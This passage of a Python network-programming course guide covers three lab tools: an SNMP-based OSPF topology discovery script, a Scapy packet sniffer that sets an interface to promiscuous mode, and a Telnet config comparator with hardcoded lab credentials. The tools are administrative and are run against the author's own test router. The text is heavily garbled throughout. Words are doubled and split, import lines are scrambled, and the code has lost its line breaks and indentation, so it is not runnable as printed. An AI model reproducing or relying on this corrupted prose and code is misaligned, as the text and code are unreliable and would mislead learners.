############# Application #5 - Part #1 ############# ''' Make the following configuration on each router in the network: configure terminal snmp-server community public RO ''' # Open a regular Linux terminal # Go to the folder containing the script, using cd /folder_path # Enter "sudo python OSPF_SNMP.py" and the password for the account # You may also need to configure the permissions on the script first! "chmod 755 script.py" # Check the console output for any errors #Necessary Python packages (they are already installed on the Debian VM) #https://pypi.python.org/pypi/setuptools #https://pypi.python.org/pypi/networkx #https://pypi.python.org/pypi/matplotlib #https://pypi.python.org/pypi/pysnmp #https://pypi.python.org/pypi/colorama import import import import
pprint subprocess binascii sys
try: import matplotlib.pyplot as matp except ImportError: print Fore.RED + Style.BRIGHT + "\n* Module matplotlib needs to be installed on your system." print "* Download it from: https://pypi.python.org/pypi/matplotlib\n" + Fore.WHITE + Style.BRIGHT sys.exit() try: import networkx as nx except ImportError: print Fore.RED + Style.BRIGHT + "\n* Module networkx needs to be installed on your system." print "* Download it from: https://pypi.python.org/pypi/networkx" print "* You should also install decorator: https://pypi.python.org/pypi/decorator\n" + Fore.WHITE + Style.BRIGHT sys.exit() try: #Module for output coloring from colorama import init, deinit, Fore, Style except ImportError: Page 53 of 185
54
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print Fore.RED + Style.BRIGHT + "\n* Module colorama needs to be installed on your system." print "* Download it from: https://pypi.python.org/pypi/colorama\n" + Fore.WHITE + Style.BRIGHT Style.BRIGHT sys.exit() try: #Module for SNMP from pysnmp.entity.rfc3413.oneliner import cmdgen except ImportError: print Fore.RED + Style.BRIGHT + "\n* Module pysnmp needs to be installed on your system." print "* Download it from: https://pypi.python.org/pypi/pysnmp\n" + Fore.WHITE + Style.BRIGHT sys.exit()
#Initialize colorama init()
#Prompting user for input try: print Style.BRIGHT + "\n######################## OSPF DISCOVERY TOOL ########################" print "Make sure to connect to a device already running OSPF in the network!" print "SNMP community string should be the same on all devices running OSPF!\n" ip = raw_input(Fore.BLUE + Style.BRIGHT + "\n* Please enter root device IP: ") comm = raw_input("\n* Please enter community string: ") except KeyboardInterrupt: print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user. Exiting...\n" sys.exit() ############# Application #5 - Part #2 ############# #Checking IP address validity def ip_is_valid(): while True: #Checking octets a = ip.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): break
Page 54 of 185
55
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
else: print '\n* There was an INVALID IP address! Please check and try again!\n' sys.exit() #Checking IP reachability print Fore.GREEN + Style.BRIGHT + "\n* Valid IP address. Checking IP reachability...\n" while True: ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', '-q', '-n', ip], stdout = subprocess.PIPE) if ping_reply == 0: print Fore.GREEN + Style.BRIGHT + "* Device is reachable. Performing SNMP extraction...\n" print Fore.GREEN + Style.BRIGHT + "* This may take a few moments...\n" break elif ping_reply == 2: print Fore.RED + Style.BRIGHT + "\n* No response from device %s." % ip sys.exit() else: print Fore.RED + Style.BRIGHT + "\n* Ping to the following device has FAILED:", ip print "\n" sys.exit() #Change exception message try: #Calling IP validity function ip_is_valid() except KeyboardInterrupt: print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user. Exiting...\n" sys.exit()
ospf = [] #SNMP function def snmp_get(ip): nbridlist = [] nbriplist = [] ospf_devices = {} #Creating command generator object cmdGen = cmdgen.CommandGenerator()
Page 55 of 185
56
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Performing SNMP GETNEXT operations on the OSPF OIDs #The basic syntax of nextCmd: nextCmd(authData, transportTarget, *varNames) #The nextCmd method returns a tuple of (errorIndication, errorStatus, errorIndex, varBindTable) errorIndication, errorStatus, errorIndex, varBindNbrTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.10.1.3') #print cmdGen.nextCmd(cmdgen.CommunityData(comm),cmdgen.UdpTransportTarget((ip, 161)),'1.3.6.1.2.1.14.10.1.3') #print varBindNbrTable errorIndication, errorStatus, errorIndex, varBindNbrIpTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.10.1.1') #print varBindNbrIpTable errorIndication, errorStatus, errorIndex, varBindHostTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.4.1.9.2.1.3') #print varBindHostTable errorIndication, errorStatus, errorIndex, varBindHostIdTable = cmdGen.nextCmd(cmdgen.CommunityData(comm), cmdgen.UdpTransportTarget((ip, 161)), '1.3.6.1.2.1.14.1.1') #print varBindHostIdTable #Extract and print out the results for varBindNbrTableRow in varBindNbrTable: for oid, nbrid in varBindNbrTableRow: hex_string = binascii.hexlify(str(nbrid)) #print hex_string octets = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] #print octets ip = [int(i, 16) for i in octets] Page 56 of 185
57
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#print ip nbr_r_id = '.'.join(str(i) for i in ip) #print nbr_r_id nbridlist.append(nbr_r_id) #print('%s = %s' % (oid, nbr_r_id)) for varBindNbrIpTableRow in varBindNbrIpTable: for oid, nbrip in varBindNbrIpTableRow: hex_string = binascii.hexlify(str(nbrip)) octets = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] ip = [int(i, 16) for i in octets] nbr_ip = '.'.join(str(i) for i in ip) nbriplist.append(nbr_ip) #print('%s = %s' % (oid, nbr_ip)) for varBindHostTableRow in varBindHostTable: for oid, host in varBindHostTableRow: ospf_host = str(host) #print('%s = %s' % (oid, host)) for varBindHostIdTableRow in varBindHostIdTable: for oid, hostid in varBindHostIdTableRow: hex_string = binascii.hexlify(str(hostid)) octets = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] ip = [int(i, 16) for i in octets] ospf_host_id = '.'.join(str(i) for i in ip) #print('%s = %s' % (oid, hostid)) #Adding OSPF data by device in the ospf_device dictionary ospf_devices["Host"] = ospf_host ospf_devices["HostId"] = ospf_host_id ospf_devices["NbrRtrId"] = nbridlist ospf_devices["NbrRtrIp"] = nbriplist ospf.append(ospf_devices) return ospf #Calling the function for the user specified IP address ospf = snmp_get(ip) #pprint.pprint(ospf) ############# Application #5 - Part #3 ############# def find_unqueried_neighbors(): #Host OSPF Router IDs all_host_ids = [] for n in range(0, len(ospf)): hid = ospf[n]["HostId"] all_host_ids.append(hid) Page 57 of 185
58
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#print "HID" #print all_host_ids #print "\n" #Neighbor OSPF Router IDs all_nbr_ids = [] for n in range(0, len(ospf)): for each_nid in ospf[n]["NbrRtrId"]: if each_nid == "0.0.0.0": pass else: all_nbr_ids.append(each_nid) #print #print #print #print
"NBR" all_nbr_ids list(set(all_nbr_ids)) "\n"
#Determining which neighbors were not queried and adding them to a list all_outsiders = [] for p in all_nbr_ids: all_nbr_ids: if p not in all_host_ids: all_outsiders.append(p) #print "OUT" #print all_outsiders #print "\n" #Running the snmp_get() function for each unqueried neighbor for q in all_outsiders: for r in range(0, len(ospf)): for index, s in enumerate(ospf[r]["NbrRtrId"]): #print index, s if q == s: new_ip = ospf[r]["NbrRtrIp"][index] snmp_get(new_ip) else: pass return all_host_ids, all_nbr_ids, ospf ############# Application #5 - Part #4 ############# #Calling the function above while True: Page 58 of 185
59
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if (len(list(set(find_unqueried_neighbors()[0]))) == len(list(set(find_unqueried_neighbors()[1])))): break final_devices_list = find_unqueried_neighbors()[2] #pprint.pprint(final_devices_list) #Creating list of neighborships neighborship_dict neighborship_dict = {} for each_dictionary in final_devices_list: for index, each_neighbor in enumerate(each_dictionary["NbrRtrId"]): each_tuple = (each_dictionary["HostId"], each_neighbor) neighborship_dict[each_tuple] = each_dictionary["NbrRtrIp"][index] #pprint.pprint(neighborship_dict) ############# Application #5 - Part #5 ############# while True: try: #User defined actions print Fore.BLUE + Style.BRIGHT + "* Please choose an action:\n\n1 - Display OSPF devices on the screen\n2 - Export OSPF devices to CSV file\n3 - Generate OSPF network topology\ne - Exit" user_choice = raw_input("\n* Enter your choice: ") print "\n" #Defining actions if user_choice == "1": for each_dict in final_devices_list: print "Hostname: " + Fore.YELLOW + Style.BRIGHT + "%s" % each_dict["Host"] + Fore.BLUE + Style.BRIGHT print "OSFP RID: " + Fore.YELLOW + Style.BRIGHT + "%s" % each_dict["HostId"] + Fore.BLUE + Style.BRIGHT print "OSPF Neighbors by ID: " + Fore.YELLOW + Style.BRIGHT + "%s" % ', '.join(each_dict["NbrRtrId"]) + Fore.BLUE + Style.BRIGHT print "OSPF Neighbors by IP: " + Fore.YELLOW + Style.BRIGHT + "%s" % ', '.join(each_dict["NbrRtrIp"]) + Fore.BLUE + Style.BRIGHT print "\n" continue #Printing devices to CSV file elif user_choice == "2": print Fore.CYAN + Style.BRIGHT + "* Generating " + Fore.YELLOW + Style.BRIGHT + "OSPF_DEVICES" + Fore.CYAN + Style.BRIGHT + " file...\n"
Page 59 of 185
60
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print Fore.CYAN + Style.BRIGHT + "* Check the script folder. Import the file into Excel for a better view of the devices.\n" csv_file = open("OSPF_DEVICES.txt", "w") print >>csv_file, "Hostname" "Hostname" + ";" + "OSPFRouterID" + ";" + "OSPFNeighborRouterID" + ";" + "OSPFNeighborIP" for each_dict in final_devices_list: print >>csv_file, each_dict["Host"] + ";" + each_dict["HostId"] + ";" + ', '.join(each_dict["NbrRtrId"]) + ";" + ', '.join(each_dict["NbrRtrIp"]) csv_file.close() continue ############# Application #5 - Part #6 ############# #Generating OSPF network topology elif user_choice == "3": print Fore.CYAN + Style.BRIGHT + "* Generating OSPF network topology...\n" + Fore.BLUE + Style.BRIGHT #Drawing the topology using the list of neighborships G = nx.Graph() G.add_edges_from(neighborship_dict.keys()) pos = nx.spring_layout(G, k = 0.1, iterations = 70) nx.draw_networkx_labels(G, pos, font_size = 9, font_family = "sans-serif", font_weight = "bold") nx.draw_networkx_edges(G, pos, width = 4, alpha = 0.4, edge_color = 'black') nx.draw_networkx_edge_labels(G, pos, neighborship_dict, label_pos = 0.3, font_size = 6) nx.draw(G, pos, node_size = 700, with_labels = False) matp.show() continue elif user_choice == "e": print Fore.RED + Style.BRIGHT + "* Exiting... Bye!\n" sys.exit() else: print Fore.RED + Style.BRIGHT + "* Invalid option. Please retry.\n" continue except KeyboardInterrupt: print Fore.RED + Style.BRIGHT + "\n\n* Program aborted by user. Exiting...\n" sys.exit() #De-initialize #De-initialize colorama Page 60 of 185
61
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
deinit() #End of program
Page 61 of 185
62
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.9. 2.9. Appl ication icati on #6 - Basic network n etwork s niffer ni ffer (full co de, reference reference:: Section 18. Applic Applic ation #6 - Basic Basic network sn iffer)
This application is a basic network sniffer, which captures some predefined protocols and saves info about each network packet in an external file. As with the other other applications applications in this course, course, the the full code code is available available for download. download. Based on what you have learned so far in the course, it’s your job now to study, understand and test the code against a network device, as you’ve seen me doing with the previous applications.
Feel free to alter the code in any way you want, add new protocols to be captured, more data to be exported in the external file and so on. New functionality of any kind is welcome. Just make sure to adapt your code to the contents of the packet in Scapy. Also, please read the first first 33 lines in the code carefully, as they are a good introduction introduction to the code that follows. As you’ve probably guessed, I used Scapy to build this sniffer, because this tool allows packet handling, decoding and analysis in a very intuitive way.
Also, pay special attention attention to the recommendations recommendations and settings that I made before starting to build the user menu and so on. I am referring refe rring to these lines and the ones above them: net_iface = raw_input(" raw_input(" * Enter Enter the int erface on whi ch t o run the sniff er (like 'eth1'): 'eth1'): ") subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None, stderr=None, shell=False) Further more, please please read read the c omments before every code bl ock , as they are good guidelines to what functionality is covered by that piece of code. As you you can can see at line 72, the program asks the user what network interface is the capture process going to be executed on. A good example is entering “eth1”. net_iface = raw_input(" raw_input(" * Enter Enter the in terface on whi ch to run t he sniffer (like 'eth1'): ") Then, at line 80, the user is asked aske d to enter the number of packets he wishes to be captu red by the sniffer:
Page 62 of 185
63
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
pkt_to_sniff = raw_input("* Enter Enter the number of packets to capture (0 is inf init y): ") At line 92, the program program requires requires the number number of seconds seconds to run the capture: time_to_sniff = raw_input(" raw_input(" * Enter Enter the number of seconds t o run the capture: " ) At line 103, 103, the program program asks the user for the protocol protocol to filter the packets by: proto _sniff = raw_input(" raw_input(" * Enter Enter the proto col to fi lter by (arp|bootp (arp|bootp |icmp|0 is all): all): " ) Lines 115 and 116 are dedicated to choosing the file name and creating the file, by opening it for writing (“w”): file_name = raw_input("* Please Please give a name to th e log f ile: " ) snif fer_log = open(file_na open(file_name, me, "w" ) At line 124, you can find the function f unction that takes care of the parameter parameter extraction extraction from each packet and logging the packet info to the file: def packet_log(pkt) The program implements a counter for each packet, then records the source MAC address and destination MAC address to the file, on a single row. Finally, the sniffing process is initialized by the sniff() sniff() function in Scapy, at line 138, passing the values collected from the user as arguments to this function. pkt = sniff(iface=net_iface, count=int(pkt_to_sniff), timeout=int(time_to_sniff), prn=packet_log) Now, to test the program, first you should have direct connectivity from the Debian VM to the router in GNS3 (R1 - 192.168.2.101 was my test device): root@debian:/home/debian/workingdir# ping 192.168.2.101 PING 192.168.2.101 (192.168.2.101) 56(84) bytes of data. 64 bytes from 192.168.2.101: icmp_req=1 ttl=255 time=429 ms Let’s choose ICMP packets for capturing purposes and after the capture is started, I am going to ping the VM (192.168.2.100) from R1.
Please see the following way to use the program menu as an example:
root@debian:/home/de root@debian:/home/debian/workingdi bian/workingdi r# pytho n Sniffer.py ! Make sure to run this progr am as ROO ROOT T! * Enter Enter the interface on which t o run t he sniffer (like 'eth1'): 'eth1'): eth1 Page 63 of 185
64
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Interface eth1 was set to PROMI PROMISC SC mode. Enter the number of packets to captur e (0 (0 is infin ity): 0 The progr am will capture packets until t he timeout expires. * Enter Enter the number of s econds to r un the capture: 10 The progr am will c apture packets packets fo r 10 seconds. seconds. * Enter Enter the protoco l to fil ter by (arp|bootp (arp|bootp |icmp|0 is all): icmp The program wil l c apture only ICMP ICMP packets. * Please Please give a name to the log file: u demy.txt * Starting the capture... Waiting for 10 seconds... At this point, the program listens for all the ICMP packets it receives receives in the next 10 seconds on eth1 (ping from R1 now!). The results will be exported to the udemy.txt file. And these are the results results in this case: case: root@debian:/home/de root@debian:/home/debian/workingdi bian/workingdi r# cat udemy.txt Packet 1: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 2: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 3: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 4: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 5: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 6: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 7: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 8: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 9: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 10: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 11: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 12: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 13: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 14: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 15: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 16: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 17: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 18: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Packet 19: SMAC: c0:01:24:c0:00:00 DMAC: 08:00:27:f2:9b:7c Packet 20: SMAC: 08:00:27:f2:9b:7c DMAC: c0:01:24:c0:00:00 Page 64 of 185
65
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Logic al flow diagram diagram
############# Application #6 - Basic Network Sniffer ############# #In Scapy, we will use the sniff() function to capture network packets. #To see a list of what commands Scapy has available, run the lsc() function. #Run the ls() command to see ALL the supported protocols. #Run the ls(protocol) command to see the fields and default values for any protocol. #See packet layers with the .summary() function. #See packet contents with the .show() function. #Dig into a specific packet layer using a list index: pkts[3][2].summary()...
Page 65 of 185
66
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#...the first index chooses the packet out of the pkts list, the second index chooses the layer for that specific packet. #Using the .command() packet method will return a string of the command necessary to recreate that sniffed packet. #To see the list of optional arguments for the sniff() function: ''' >>> print sniff.__doc__ Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket opened_socket: provide an object ready to use .recv() on stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) '''
#Importing the necessary modules import logging import subprocess #This will suppress all messages that have a lower level of seriousness than error messages, while running or loading Scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit()
Page 66 of 185
67
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Asking the user for some parameters: interface on which to sniff, the number of packets to sniff, the time interval to sniff, the protocol #Making the necessary configurations print "\n! Make sure to run this program as ROOT !\n" #Setting network interface in promiscuous mode #Wikipedia: In computer networking, promiscuous mode or "promisc mode"[1] is a mode for a wired network interface controller (NIC) or wireless network interface controller (WNIC)... #...that causes the controller to pass all traffic it receives to the central processing unit (CPU) rather than passing only the frames that the controller is intended to receive. #This mode is normally used for packet sniffing that takes place on a router or on a computer connected to a hub. #Also, when using our setup (VirtualBox-to-GNS3), you should go to the Settings section for the virtual machine you are using... #...select the adapter that connects to the GNS3 network and set Promiscuous Mode: Allow All net_iface = raw_input("* Enter the interface on which to run the sniffer (like 'eth1'): ") subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None, stderr=None, stderr=None, shell=False) shell=False) print "\nInterface %s was set to PROMISC mode." % net_iface print #Asking the user for the number of packets to sniff (the "count" parameter) pkt_to_sniff = raw_input("Enter the number of packets to capture (0 is infinity): ") #Considering #Considering the case when the user enters 0 (infinity) if int(pkt_to_sniff) != 0: print "\nThe program will capture %d packets." % int(pkt_to_sniff) print elif int(pkt_to_sniff) == 0: print "\nThe program will capture packets until the timeout expires." print #Asking the user for the time interval to sniff (the "timeout" parameter) time_to_sniff = raw_input("* Enter the number of seconds to run the capture: ") #Handling the value entered by the user if int(time_to_sniff) != 0: print "\nThe program will capture packets for %d seconds." % int(time_to_sniff) print
Page 67 of 185
68
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Asking the user for any protocol filter he might want to apply to the sniffing process #For this example I chose three protocols: ARP, BOOTP, ICMP #You can customize this to add your own desired protocols proto_sniff = raw_input("* Enter the protocol to filter by (arp|bootp|icmp|0 is all): ") #Considering #Considering the case when the user enters 0 (all) if (proto_sniff == "arp") or (proto_sniff == "bootp") or (proto_sniff == "icmp"): print "\nThe program will capture only %s packets." % proto_sniff.upper() print elif int(proto_sniff) == 0: print "\nThe program will capture all protocols." print #Creating an external file for packet logging file_name = raw_input("* Please give a name to the log file: ") sniffer_log = open(file_name, "w") #Initializing the packet counter packet_no = 0 #This is the function that will be applied to each captured packet #The function will extract some parameters from the packet and then log each packet to an external file def packet_log(pkt): #The packet index global packet_no #Filtering the packets based on the protocol. Using the lower() method to ignore the case when searching for the protocol in the packet. if proto_sniff.lower() in pkt[0][1].summary().lower(): packet_no = packet_no + 1 #Writing the data for each packet to the external file print >>sniffer_log, "Packet " + str(packet_no) + ": " + "SMAC: " + pkt[0].src + " DMAC: " + pkt[0].dst print "\n* Starting the capture... Waiting for %s seconds..." % time_to_sniff #Running the sniffing process pkt = sniff(iface=net_iface, count=int(pkt_to_sniff), timeout=int(time_to_sniff), prn=packet_log) #print pkt.show() #Printing the closing message print "\n* The timeout of %s seconds has passed." % time_to_sniff Page 68 of 185
69
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "* Please check the %s file to see the captured packets.\n" % file_name #Closing the log file sniffer_log.close() #End of program. Feel free to modify it, test it, add new protocols to sniff and improve de code whenever you feel the need to.
Page 69 of 185
70
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.10 2.10.. Applic ation #7 - Conf Configu igu ration f ile il e com parator (full co de, reference reference:: Section 19. Applic Applic ation #7 - Configu Configu ration f ile com parator) parator) This application connects to a router in the network via Telnet, extracts the output of “show running -config” and and “show startup-config” , filters the irrelevant lines and finally compares the configurations. Now, I know this can be accomplished using the “show archive config differences” command command in Cisco CLI, but I wanted wante d you to know how can this task be accomplished using Python. As with the other other applications applications in this course, course, the the full code code is available available for download. download. Based on what you have learned so far in the course, it’s your job now to study, understand and test the code against a network device, as you’ve seen me doing with the previous applications.
Feel free to alter the code in any way you want. New functionality of any kind is welcome, enhancements as well. Just make sure to adapt your code cod e to the command output format. Also, please read the first 13 lines in the code carefully, carefully, as they are a good introduction introduction to the code that follows. As you can see, the first thing you should do is configure Telnet access on the router and the username and password: username teopy privil ege 15 15 password 0 pytho n line vty 0 4 privi lege level level 15 login local transport input telnet ssh At line 27, I have have defined the ip_validity() function, ip_validity() function, which takes care of checking whether the IP address of the router, which the user enters at the prompt, is valid or not. You have already seen this kind of validity check in action in the previous applications, so there is nothing new here. The same comment is valid for the file_validity() function (line 46). Both functions are defined at this point and will be called later in the code. At line line 61, the telnet() func telnet() function tion is defined, which takes a single parameter: command. command . The value of this parameter will be passed to the connection.write() method connection.write() method at line 96. Starting with line 108, I defined the user menu, which will accept 3 options, except e Exit program : 1 - Compare runni ng-config wi th startup-confi g 2 - Compare runni ng-config wi th local fil e 3 - Compare startup-confi g with local fil e I had treated only the first option, comparing the running-config with the startup-config Page 70 of 185
71
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
lines 115-196, leaving you yo u with wi th the job of coding and testing the other two options, having my code from option 1 as a guideline. ip_validity() function to get this out Now, let’s look at option 1 for a bit. First, I called the ip_validity() function of the way. Next, a very important step, I called the telnet()function telnet()function for each of the two commands I am interested in, and saved the returned output to a separate variable: output_run for output_run for the running-config and output_start for the startup-config. Then, I have created (opened for writing) two files, each of them storing the output of the corresponding command. The file names are intuitively chosen. Don’t forget to close the files after writing the contents of those variables, to save the information. Next, I opened the files for reading and used the readlines() method readlines() method on each file object to store the lines in each file as elements of a list. Of course, then I closed the files. Then, using a for fo r loop, loop, I have filtered the lines in each file which were of no interest to our goal. We are are only i nterested in the lin es starting w ith the one defining the IOS IOS version: “version 12.4” for example. That is actually the first relevant line in each file. Now, after “cleaning” the files, we are left with only the pure router rou ter configurations. It’s time to create a new file ( file_diff.txt ), in which all the config differences are going to be stored. Actually, we we are going going to compare compare the two two lists obtained obtained with the readlines() method. readlines() method.
Finally, using list comprehensions, we are going to find the lines in the running-config which are not present in the startup-config and vice versa. In case there are multiple differences, we use a for loop to iterate over the lists and then print those differences directly into the file_diff.txt file., one per line As stated in the code, the rule is: A " +" si gn means mean s the th e li ne is presen pr esentt in the th e RUNNING-CONFIG RUNNING-CONFIG but bu t not no t in the th e STARTUP-CONFIG A " -" si gn means mean s the th e li ne is pr esent esen t in the th e STARTUP-CONFIG but bu t not no t in the th e RUNNING-CONFIG Now, let’s mak e a quick test. If you have just started the router and made no config yet, then the startup-config and running-config are the same. No surprise here. But, to make the test more relevant, let’s configure a few things before starting the comparison, c omparison, without saving the changes to the startup- config. So, let’s go to router R1:
R1(config)#userna R1(config)#username me udemy1 password udemy R1(config)#userna R1(config)#username me udemy2 password udemy R1(config)#userna R1(config)#username me udemy3 password udemy Now, these three configurations are the differences between the startup-config and the running-config. We should see them after running our program, saved in the file_diff.txt file. Let’s test this:
Page 71 of 185
72
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
root@debian:/home/de root@debian:/home/debian/workingdi bian/workingdi r# pyth on ConfigFileComp.py ConfigFileComp.py Use this tool to: 1 - Compare runni ng-config wi th startup-confi g 2 - Compare runni ng-config wi th local fil e 3 - Compare startup-confi g with local fil e e - Exit Exit program Enter your choice: 1 Enter an IP addr ess: 192.168 192.168.2.1 .2.101 01 Please Please wait whi le the conf ig f ile is being analyzed. analyzed... .. Use this tool to: 1 - Compare runni ng-config wi th startup-confi g 2 - Compare runni ng-config wi th local fil e 3 - Compare startup-confi g with local fil e e - Exit Exit program Enter your choice: e Exiting... See ya... Now let’s check the results. We should see all three commands with a “+”sign, right?
root@debian:/home/de root@debian:/home/debian/workingdi bian/workingdi r# cat fi le_diff.txt le_diff.txt +username +username udemy1 password 0 udemy +username +username udemy2 password 0 udemy +username +username udemy3 password 0 udemy root@debian:/home/debian/workingdir# ...and success! As expected, the three commands are marked as differences, in the file.
Page 72 of 185
73
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Logic al flow diagram diagram
Page 73 of 185
74
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
############# Application #7 - Config File Comparator ############# #This program will: # * Connect to a router via Telnet and it will compare the running-config file to the startup-config file on that device (this can be usually done with: show archive config differences) differences) # * Compare a locally stored config file (.txt) with the running-config file or startup-config file running on a router. #Please see the "Python File Operations" section in the course for a recap of the necessary concepts. #Don't forget to configure Telnet access on the router! #username teopy privilege 15 password 0 python #line vty 0 4 # privilege level 15 # login local # transport input telnet ssh
#The first part of the program is very similar to Application #2 in the course. import import import import import
telnetlib os.path subprocess time sys
def ip_validity(): global ip_address #Checking IP validity while True: ip_address = raw_input("Enter an IP address: ") #Checking octets a = ip_address.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): break else: print "\nThe IP address is INVALID! Please retry!\n" continue
def file_validity(): while True: Page 74 of 185
75
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
cfg_file = raw_input("Enter config file name and extension: ") #Changing exception message if os.path.isfile(cfg_file) == True: print "\nFile was found...\n" break else: print "\nFile %s does not exist! Please check and try again!\n" % cfg_file continue
def telnet(command): #Connecting to router via Telnet #Define telnet parameters username = 'teopy' password = 'python' #Specify the Telnet port (default is 23, anyway) port = 23 #Specify the connection timeout in seconds for blocking operations, like the connection attempt connection_timeout = 5 #Specify a timeout in seconds. Read until the string is found or until the timout has passed reading_timeout = 5 #Logging into device connection = telnetlib.Telnet(ip_address, port, connection_timeout) #Waiting to be asked for an username router_output = connection.read_until("Username:", reading_timeout) #Enter the username when asked and a "\n" for Enter connection.write(username + "\n") #Waiting to be asked for a password router_output = connection.read_until("Password:", reading_timeout) #Enter the password when asked and a "\n" for Enter connection.write(password + "\n") time.sleep(1) #Setting terminal length for the entire output - disabling pagination connection.write("terminal length 0\n") time.sleep(1) #Entering global config mode connection.write("\n") connection.write(command + "\n") time.sleep(5)
Page 75 of 185
76
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
router_output = connection.read_very_eager() #print router_output #Closing the connection connection.close() return router_output ################## USER MENU ################# try: #Entering user option while True: print "\nUse this tool to:\n1 - Compare running-config with startup-config\n2 - Compare running-config with local file\n3 - Compare startup-config startup-config with local file\ne - Exit program\n" user_option = raw_input("Enter your choice: ") if user_option == "1": ###Checking IP validity first### ip_validity() print "\nPlease wait while the config file is being analyzed...\n" output_run = telnet("show running-config") output_start = telnet("show startup-config") #print output_run #print output_start ###Creating and writing the command output to files### file_run = open("file_run.txt", "w") print >>file_run, output_run file_start = open("file_start.txt", "w") print >>file_start, output_start #Closing both files after writing file_run.close() file_start.close() ###Comparing the contents of the files and saving the differences to a new file### ###First, reading the lines in each file and storing them as elements of a list### file_run = open("file_run.txt", "r") file_start = open("file_start.txt", "r") list_run = file_run.readlines() Page 76 of 185
77
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
